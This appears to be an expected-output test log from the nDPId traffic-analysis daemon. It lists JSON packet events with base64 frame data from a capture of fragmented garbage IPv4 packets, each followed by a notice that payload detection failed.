+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611020,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611040,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611066,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611075,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611085,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611094,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611104,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611127,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611146,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611155,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611164,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611212,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611222,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611228,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611235,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611253,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611282,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611292,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611315,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611325,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611334,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611353,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611360,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611398,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611430,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611463,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611472,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 